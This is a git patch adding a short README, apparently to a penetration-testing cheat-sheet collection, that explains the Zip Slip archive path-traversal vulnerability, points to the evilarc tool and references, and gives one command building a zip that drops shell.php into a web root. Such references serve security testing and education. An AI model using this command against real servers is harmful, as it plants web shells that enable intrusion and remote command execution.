From 83569c614268dff78973e20b344192766fa0ed63 Mon Sep 17 00:00:00 2001 From: Hi15358 Date: Wed, 30 Oct 2019 12:07:50 +0800 Subject: [PATCH] Update and rename ReadMe.txt to README.md --- Upload Insecure Files/Zip Slip/README.md | 35 +++++++++++++++++++++++ Upload Insecure Files/Zip Slip/ReadMe.txt | 1 - 2 files changed, 35 insertions(+), 1 deletion(-) create mode 100644 Upload Insecure Files/Zip Slip/README.md delete mode 100644 Upload Insecure Files/Zip Slip/ReadMe.txt diff --git a/Upload Insecure Files/Zip Slip/README.md b/Upload Insecure Files/Zip Slip/README.md new file mode 100644 index 0000000..39d647e --- /dev/null +++ b/Upload Insecure Files/Zip Slip/README.md @@ -0,0 +1,35 @@ +# Zip Slip + +> The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../shell.php). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine. + +## Summary + +- [Detection](#detection) +- [Tools](#tools) +* [Exploits](#exploits) + * [Basic Exploit](#basic-exploit) +- [Additional Notes](#additional-notes) + +## Detection + +- Any zip upload page on the application + +## Tools + +- evilarc [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) + +## Exploits + +### Basic Exploit + +```python +python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15 +``` + +### Additional Notes +- For affected libraries and projects, visit https://github.com/snyk/zip-slip-vulnerability + +## References + +- [Zip Slip Vulnerability - Snyk Ltd, 2019](https://snyk.io/research/zip-slip-vulnerability) +- [Zip Slip - snyk, 2019](https://github.com/snyk/zip-slip-vulnerability) diff --git a/Upload Insecure Files/Zip Slip/ReadMe.txt b/Upload Insecure Files/Zip Slip/ReadMe.txt deleted file mode 100644 index 8b13789..0000000 --- a/Upload Insecure Files/Zip Slip/ReadMe.txt +++ /dev/null @@ -1 +0,0 @@ -